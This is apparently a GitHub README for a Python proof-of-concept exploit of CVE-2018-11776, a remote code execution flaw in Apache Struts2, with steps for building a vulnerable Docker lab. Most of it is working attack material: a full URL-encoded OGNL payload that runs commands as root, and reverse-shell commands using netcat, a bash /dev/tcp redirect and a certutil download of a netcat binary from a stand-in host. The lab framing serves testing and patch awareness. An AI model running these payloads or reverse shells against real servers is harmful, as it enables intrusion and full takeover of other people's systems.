hook-s3c/cve-2018-11776-python-pocWorking Python test and PoC for CVE-2018-11776, includes Docker lab
hook-s3c (github.com/hook-s3c), @hook_s3c on twitter
Working Python test and PoC for CVE-2018-11776, originally appearing on; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC
Man Yue Mo from Semmle has disclosed an Struts2 RCE vulnerability, delivered in a payload encoded in the URL path of a request.
Versions affected are 2.3 to 2.3.34, and 2.5 to 2.5.16.
Default configuration is not vulnerable, but if misconfigured... F.
exploit will work fine with the docker container build for cve-2017-5638 (struts2-showcase-2.3.12)
$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
add the configuration below;
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
and also;
<struts>
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
restart your tomcat and/or container
$ /usr/local/tomcat/bin/shutdown.sh
test the url to see if a redirect and evaluation occurs;
with the test script;
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
testing the url for exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Execute]: https://raw.githubusercontent.com/hook-s3c/cve-2018-11776-python-poc/master/id
[Url]: http://0.0.0.0:32771/$%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D=true).(%23cmd=%27id%27).(%23iswin=(@java.lang.System@getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds=(%23iswin%3F%7B%27cmd.exe%27,%27c%27,%23cmd%7D:%7B%27bash%27,%27-c%27,%23cmd%7D)).(%23p=new%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process=%23p.start()).(%23ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(%23process.getInputStream(),%23ros)).(%23ros.flush())%7D/help.action
uid=0(root) gid=0(root) groups=0(root)
get your box ready to accept the reverse shell;
$ netcat -lvp 31337
run the script;
# you'll want to install netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'
# now pop that shell
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'
replace 32771 with your exposed container port
$ netcat -lvp 31337
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 "/bin/bash -i >& /dev/tcp/172.17.0.1/31337 0>&1"
# grab netcat binary
# https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'certutil.exe -urlcache -split -f "https://yourhostingservice.1337/files/netcat.exe" nc.exe'
# execute
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'nc.exe 172.17.0.1 31337 –e cmd.exe'
All requests with a forward-slash (/) will fail because Tomcat actively blocks these, you may need to work around this, for example using environment variables for /bin/bash as $SHELL in the example above.
With this in mind, the windows /c flag will not work as expected. I've only tested this on the docker container.
Thanks to @Menin_TheMiddle for showing that the forward-slash issue can be resolved, the code now supports forward-slashes and so a reverse shell without netcat via bash is now also possible, also now supports Windows instances (untested).
Patch your Struts, or simply don't use it.
I guess you can always sell identify fraud products if you happen to have a breach and all your customer details are leaked! (you know who you are, absolute scum)
Thanks to ;
shout out to vap0rsquad!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces